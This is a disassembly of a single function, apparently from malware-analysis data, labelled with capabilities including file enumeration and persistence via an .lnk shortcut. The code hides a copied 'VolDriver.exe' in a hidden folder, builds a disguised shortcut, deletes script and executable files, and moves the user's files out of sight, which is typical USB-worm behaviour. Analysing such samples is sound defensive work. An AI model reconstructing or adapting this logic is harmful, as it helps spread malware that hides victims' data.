Function at 0x404bb0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12fc
call sub.ntdll.dll__chkstk
mov eax, dword [ebp + 0x10]
and eax, 0x80000
je 0x404bce
xor al, al
jmp 0x40503e
mov dword [ebp - 0x824], 0x4123d4
mov byte [ebp - 0xc39], 0
mov ecx, dword [ebp + 0xc]
push ecx
push str._s.lnk
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x410580
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sVolDriver.exe
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x4105b4
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x404cf8
lea eax, [ebp - 0x1098]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x404cb5
push 0
lea ecx, [ebp - 0x1098]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x404cb5
push 2
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1098]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404cf8
push 0
lea ecx, [ebp - 0x12a8]
push ecx
push 0x412718
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x404cf8
push 2
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x404d59
movzx ecx, byte [ebp + 0x14]
test ecx, ecx
je 0x404d34
push 9
push 0x4105cc
lea edx, [ebp - 0xa30]
push edx
call fcn.00404960
add esp, 0xc
jmp 0x404d4a
push 8
push str.shell32.dll
lea eax, [ebp - 0xa30]
push eax
call fcn.00404960
add esp, 0xc
push 1
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xe90]
push edx
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0xffffffff
je 0x405038
mov dword [ebp - 0x12f0], str..lnk
mov dword [ebp - 0x12ec], str..vbs
mov dword [ebp - 0x12e8], str..js
mov dword [ebp - 0x12e4], str..inf.scr
mov dword [ebp - 0x12e0], str..com
mov dword [ebp - 0x12dc], str..jse
mov dword [ebp - 0x12d8], str..cmd
mov dword [ebp - 0x12d4], str..pif
mov dword [ebp - 0x12d0], str..jar
mov dword [ebp - 0x12cc], str..dll
mov dword [ebp - 0x12c8], str..vbe
mov dword [ebp - 0x12c4], str..bat
mov ecx, dword [ebp - 0x824]
mov dword [ebp - 0x12c0], ecx
lea edx, [ebp - 0x618]
mov dword [ebp - 0x12bc], edx
mov dword [ebp - 0x12b8], str.Thumbs.db
mov dword [ebp - 0x12b4], str._RECYCLE.BIN
mov dword [ebp - 0x12b0], str.desktop.ini
mov dword [ebp - 0x12ac], str.System_Volume_Information
push 0x410714
lea eax, [ebp - 0xe64]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404e64
push 0x410718
lea ecx, [ebp - 0xe64]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x404e69
jmp 0x40500f
mov byte [ebp - 0x12f2], 0
mov dword [ebp - 0x12f8], 0
jmp 0x404e8b
mov edx, dword [ebp - 0x12f8]
add edx, 1
mov dword [ebp - 0x12f8], edx
cmp dword [ebp - 0x12f8], 6
jae 0x404ec0
mov eax, dword [ebp - 0x12f8]
mov ecx, dword [ebp + eax*4 - 0x12c0]
push ecx
lea edx, [ebp - 0xe64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x404eb5
jmp 0x404e7c
mov byte [ebp - 0x12f2], 1
jmp 0x404ec0
movzx eax, byte [ebp - 0x12f2]
test eax, eax
je 0x404ed0
jmp 0x40500f
mov byte [ebp - 0x12f1], 0
mov dword [ebp - 0x12fc], 0
jmp 0x404ef2
mov ecx, dword [ebp - 0x12fc]
add ecx, 1
mov dword [ebp - 0x12fc], ecx
cmp dword [ebp - 0x12fc], 0xc
jae 0x404f69
mov edx, dword [ebp - 0x12fc]
mov eax, dword [ebp + edx*4 - 0x12f0]
push eax
lea ecx, [ebp - 0xe64]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x404f1c
jmp 0x404ee3
lea edx, [ebp - 0xe64]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x410720
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x12f1], 1
jmp 0x404f69
movzx ecx, byte [ebp - 0x12f1]
test ecx, ecx
je 0x404f79
jmp 0x40500f
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x404f8f
jmp 0x40500f
lea eax, [ebp - 0xe64]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x41072c
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0xe64]
push eax
mov ecx, dword [ebp - 0x824]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s_s
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov ecx, dword [ebp - 0xe90]
and ecx, 0x10
je 0x404ff9
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0xc38]
push eax
call fcn.00404a70
add esp, 8
jmp 0x40500f
push 9
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0xe90]
push eax
mov ecx, dword [ebp - 0x109c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404e38
mov edx, dword [ebp - 0x109c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xc39]
mov esp, ebp
pop ebp
ret